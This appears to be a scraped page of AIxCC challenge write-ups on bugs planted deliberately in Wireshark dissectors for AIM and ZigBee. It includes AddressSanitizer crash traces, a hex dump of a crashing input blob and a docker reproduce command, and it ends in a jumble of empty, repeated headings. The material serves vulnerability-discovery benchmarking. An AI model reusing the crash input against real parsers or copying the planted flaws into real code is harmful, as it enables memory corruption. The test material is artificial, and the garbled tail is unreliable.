CWE Classification: CWE-121 , CWE-122 , CWE-680

What functions and functionality is relevant?

The aim_get_buddyname function contained within the epan/dissectors/packet-aim.c .

Why is this vulnerable?

The vulnerability arises out of trusting the packet defined buddy name length to be within the proper bounds, however no checks require it to be under the allocated buffer size, leading to a heap buffer overflow.

Is this a replay and/or is inspired by anything?

This challenge is inspired by historical vulnerabilities found within the AIM protocol and the challenge was made to be relatively easy for a CRS to identify as an homage to that era of hacking and exploitation.

What makes it interesting?

This vulnerability exemplifies why trusting packet data / user or attacker supplied data is a poor security practice.

Additional Information

This bug is embedded inside of AOL’s Instant Messenger (AIM) protocol, where data sent is trusted to be a correct offset inside of a aim_snac packet, causing a buffer overflow.

Example crash

INFO: Running with entropic power schedule (0xFF, 100).
INFO: Seed: 2909221372
INFO: Loaded 1 modules   (420448 inline 8-bit counters): 420448 [0xabdaf90, 0xac419f0),
INFO: Loaded 1 PC tables (420448 PCs): 420448 [0xac419f0,0xb2abff0),
/out/fuzzshark: Running 1 inputs 100 time(s) each.
Running: /testcase
*** buffer overflow detected ***: terminated
AddressSanitizer:DEADLYSIGNAL
=================================================================
==18==ERROR: AddressSanitizer: ABRT on unknown address 0x000000000012 (pc 0x7f9ff592d00b bp 0x7ffecdee63c0 sp 0x7ffecdee6040 T0)
SCARINESS: 10 (signal)
    #0 0x7f9ff592d00b in raise (/lib/x86_64-linux-gnu/libc.so.6+0x4300b) (BuildId: 0323ab4806bee6f846d9ad4bccfc29afdca49a58)
    #1 0x7f9ff590c858 in abort (/lib/x86_64-linux-gnu/libc.so.6+0x22858) (BuildId: 0323ab4806bee6f846d9ad4bccfc29afdca49a58)
    #2 0x7f9ff5977265  (/lib/x86_64-linux-gnu/libc.so.6+0x8d265) (BuildId: 0323ab4806bee6f846d9ad4bccfc29afdca49a58)
    #3 0x7f9ff5a19cd9 in __fortify_fail (/lib/x86_64-linux-gnu/libc.so.6+0x12fcd9) (BuildId: 0323ab4806bee6f846d9ad4bccfc29afdca49a58)
    #4 0x7f9ff5a18575 in __chk_fail (/lib/x86_64-linux-gnu/libc.so.6+0x12e575) (BuildId: 0323ab4806bee6f846d9ad4bccfc29afdca49a58)
    #5 0x9914e3 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34:10
    #6 0x9914e3 in aim_get_buddyname /src/wireshark/epan/dissectors/packet-aim.c:591:3
    #7 0x9914e3 in dissect_aim_chat_outgoing_msg /src/wireshark/epan/dissectors/packet-aim.c:1976:21
    #8 0x98f3ef in dissect_aim_snac /src/wireshark/epan/dissectors/packet-aim.c:809:3
    #9 0x98f3ef in dissect_aim_pdu /src/wireshark/epan/dissectors/packet-aim.c:1618:3
    #10 0x1db4acf in tcp_dissect_pdus /src/wireshark/epan/dissectors/packet-tcp.c:5569:13
    #11 0x98c90d in dissect_aim /src/wireshark/epan/dissectors/packet-aim.c:1655:2
    #12 0x7399ed in call_dissector_through_handle /src/wireshark/epan/packet.c:887:9
    #13 0x7399ed in call_dissector_work /src/wireshark/epan/packet.c:975:9
    #14 0x744644 in call_dissector_only /src/wireshark/epan/packet.c:3621:8
    #15 0x744644 in call_all_postdissectors /src/wireshark/epan/packet.c:4166:3
    #16 0x10908e7 in dissect_frame /src/wireshark/epan/dissectors/packet-frame.c:1438:5
    #17 0x7399ed in call_dissector_through_handle /src/wireshark/epan/packet.c:887:9
    #18 0x7399ed in call_dissector_work /src/wireshark/epan/packet.c:975:9
    #19 0x7354e7 in call_dissector_only /src/wireshark/epan/packet.c:3621:8
    #20 0x7354e7 in call_dissector_with_data /src/wireshark/epan/packet.c:3634:8
    #21 0x7354e7 in dissect_record /src/wireshark/epan/packet.c:687:3
    #22 0x726d80 in epan_dissect_run /src/wireshark/epan/epan.c:666:2
    #23 0x5971f8 in LLVMFuzzerTestOneInput /src/wireshark/fuzz/fuzzshark.c:361:2
    #24 0x44bb70 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:614:13
    #25 0x436de5 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:327:6
    #26 0x43c87f in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:862:9
    #27 0x467b22 in main /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerMain.cpp:20:10
    #28 0x7f9ff590e082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId: 0323ab4806bee6f846d9ad4bccfc29afdca49a58)
    #29 0x42efcd in _start (/out/fuzzshark+0x42efcd)

DEDUP_TOKEN: raise--abort--
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: ABRT (/lib/x86_64-linux-gnu/libc.so.6+0x4300b) (BuildId: 0323ab4806bee6f846d9ad4bccfc29afdca49a58) in raise
==18==ABORTING

Zigg before Free

Vulnerability Information

Author: Sierra Haex

Harness: handler_zbee_zdp

CWE Classification: CWE-457

What functions and functionality is relevant?

The relevant function is dissect_zbee_zdp_req_mgmt_nwk_disc which is located inside of epan/dissectors/packet-zbee-zdp-management.c

Why is this vulnerable?

This vulnerability arises out of the assumption of vestigial debugging code (designed to look like what a developer would write to understand and fix a protocol bug…and accidentally include it in a code push) that made assumptions about the state of the packet stream. The code relies upon the first channel (within the ZigBee protocol) being already populated and allocated, but this does not necessarily have to have happened before this code can be triggered, leading to a use-after-free.

Is this a replay and/or is inspired by anything?

This challenge is inspired by other vulnerabilities in channel and state dependent protocols…as well as common mistakes when implementing debugging code.

What makes it interesting?

This vulnerability is interesting because the vulnerable debugging code can be clearly seen to be not intended to be part of the implemented protocol, and appears to be residual code from an inexperienced contributor.

Additional Information

Crash:

----------------------------------------------------------------------------------------------------------------------------
[-----                         BUILDING EXPLOITABLE BLOB @ blobs/blob.bin                                -----]

        20 10 13 f4 ff 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
        41 41 41 41 41

[-----                         BUILDING EXPLOITABLE BLOB @ blobs/blob.bin                                -----]
----------------------------------------------------------------------------------------------------------------------------
INFO:__main__:Running: docker run --privileged --shm-size=2g --platform linux/amd64 --rm -i -e HELPER=True -e ARCHITECTURE=x86_64 -e FUZZSHARK_TARGET=zbee_zdp -v /oss-fuzz-aixcc/build/out/wireshark:/out -v /wireshark/.aixcc/vulns/vuln_012/blobs/blob.bin:/testcase -t ghcr.io/aixcc-finals/base-runner:v1.1.0 reproduce fuzzshark -runs=100.
+ FUZZER=fuzzshark
+ shift
+ '[' '!' -v TESTCASE ']'
+ TESTCASE=/testcase
+ '[' '!' -f /testcase ']'
+ export RUN_FUZZER_MODE=interactive
+ RUN_FUZZER_MODE=interactive
+ export FUZZING_ENGINE=libfuzzer
+ FUZZING_ENGINE=libfuzzer
+ export SKIP_SEED_CORPUS=1
+ SKIP_SEED_CORPUS=1
+ run_fuzzer fuzzshark -runs=100 /testcase
vm.mmap_rnd_bits = 28
/out/fuzzshark -rss_limit_mb=2560 -timeout=25 -runs=100 /testcase -max_len=1024 < /dev/null
oss-fuzzshark: disabling: snort
oss-fuzzshark: requested dissector: zbee_zdp
INFO: Running with entropic power schedule (0xFF, 100).
INFO: Seed: 3583118246
INFO: Loaded 1 modules   (420175 inline 8-bit counters): 420175 [0xabcec10, 0xac3555f),
INFO: Loaded 1 PC tables (420175 PCs): 420175 [0xac35560,0xb29ea50),
/out/fuzzshark: Running 1 inputs 100 time(s) each.
Running: /testcase
channels_and_flags = 0xf8f8f8f8
AddressSanitizer:DEADLYSIGNAL
=================================================================
==18==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000001 (pc 0x7f8d3cb1f915 bp 0x7ffefce25eb0 sp 0x7ffefce25938 T0)
==18==The signal is caused by a READ memory access.
==18==Hint: address points to the zero page.
SCARINESS: 10 (null-deref)
    #0 0x7f8d3cb1f915  (/lib/x86_64-linux-gnu/libc.so.6+0x188915) (BuildId: 0323ab4806bee6f846d9ad4bccfc29afdca49a58)
    #1 0x7f8d3ca0fd14  (/lib/x86_64-linux-gnu/libc.so.6+0x78d14) (BuildId: 0323ab4806bee6f846d9ad4bccfc29afdca49a58)
    #2 0x7f8d3cac527a in __printf_chk (/lib/x86_64-linux-gnu/libc.so.6+0x12e27a) (BuildId: 0323ab4806bee6f846d9ad4bccfc29afdca49a58)
    #3 0x21cdebe in dissect_zbee_zdp_req_mgmt_nwk_disc /src/wireshark/epan/dissectors/packet-zbee-zdp-management.c:246:17
    #4 0x21cd850 in dissect_zbee_zdp /src/wireshark/epan/dissectors/packet-zbee-zdp.c:1237:13
    #5 0x73991d in call_dissector_through_handle /src/wireshark/epan/packet.c:887:9
    #6 0x73991d in call_dissector_work /src/wireshark/epan/packet.c:975:9
    #7 0x744574 in call_dissector_only /src/wireshark/epan/packet.c:3621:8
    #8 0x744574 in call_all_postdissectors /src/wireshark/epan/packet.c:4166:3
    #9 0x10906b7 in dissect_frame /src/wireshark/epan/dissectors/packet-frame.c:1438:5
    #10 0x73991d in call_dissector_through_handle /src/wireshark/epan/packet.c:887:9
    #11 0x73991d in call_dissector_work /src/wireshark/epan/packet.c:975:9
    #12 0x735417 in call_dissector_only /src/wireshark/epan/packet.c:3621:8
    #13 0x735417 in call_dissector_with_data /src/wireshark/epan/packet.c:3634:8
    #14 0x735417 in dissect_record /src/wireshark/epan/packet.c:687:3
    #15 0x726cb0 in epan_dissect_run /src/wireshark/epan/epan.c:666:2
    #16 0x5971f8 in LLVMFuzzerTestOneInput /src/wireshark/fuzz/fuzzshark.c:359:2
    #17 0x44bb70 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:614:13
    #18 0x436de5 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:327:6
    #19 0x43c87f in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:862:9
    #20 0x467b22 in main /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerMain.cpp:20:10
    #21 0x7f8d3c9bb082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId: 0323ab4806bee6f846d9ad4bccfc29afdca49a58)
    #22 0x42efcd in _start (/out/fuzzshark+0x42efcd)

DEDUP_TOKEN: __printf_chk
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x188915) (BuildId: 0323ab4806bee6f846d9ad4bccfc29afdca49a58)
==18==ABORTING
MS: 0 ; base unit: 0000000000000000000000000000000000000000
subprocess command returned a non-zero exit status: 1

cold double

Challenge Information

AFC Challenge Performance

What design decisions were considered for this challenge?

Why this set of vulnerabilities?

Delta vs Full and why?

Additional Information

Challenge Harnesses

Challenge Vulnerabilities

Wireshark OpenVPN UDP Control Packet Buffer Overflow

Vulnerability Information

What functions and functionality is relevant?

Why is this vulnerable?

Is this a replay and/or is inspired by anything?

What makes it interesting?

wireshark telnet subcommand use-after-free

Vulnerability Information

What functions and functionality is relevant?

Why is this vulnerable?

Is this a replay and/or is inspired by anything?

What makes it interesting?

Additional Information,📡 Telnet Protocol: Commands, Subnegotiation, and Window Configuration

🧠 Telnet Command Structure

🧩 Subnegotiation (SB … SE)

Format:

📏 NAWS – Negotiate About Window Size

Example:

🖋️ LINEMODE – Line-by-Line Input

Example:

🔁 Mixing Commands and Data

Example:

📚 Relevant RFCs

Example crash

Vulnerability Information

What functions and functionality is relevant?

Why is this vulnerable?

Is this a replay and/or is inspired by anything?

What makes it interesting?

wireshark netbios terminate trace signature overflow

Vulnerability Information

What functions and functionality is relevant?

Why is this vulnerable?

Is this a replay and/or is inspired by anything?

What makes it interesting?

Additional Information, 🧩 What is NetBIOS?

📦 NetBIOS Commands

🧾 NetBIOS Packet Format (Session Layer)

🧠 Notes

🔧 Purpose

📦 Packet Structure

📚 References

🧾 TERMINATE_TRACE Packet Format

📋 Field Details

🔧 Flags (1 byte)

🎯 Reason Code (1 byte)

📎 Signature

🧠 Design Notes

Example crash

Can I be your AIM buddy?

Vulnerability Information

What functions and functionality is relevant?

Why is this vulnerable?

Is this a replay and/or is inspired by anything?

What makes it interesting?

Additional Information

Example crash

Zigg before Free

Vulnerability Information

What functions and functionality is relevant?

Why is this vulnerable?

Is this a replay and/or is inspired by anything?

What makes it interesting?

Additional Information

🧾 `TERMINATE_TRACE` Packet Format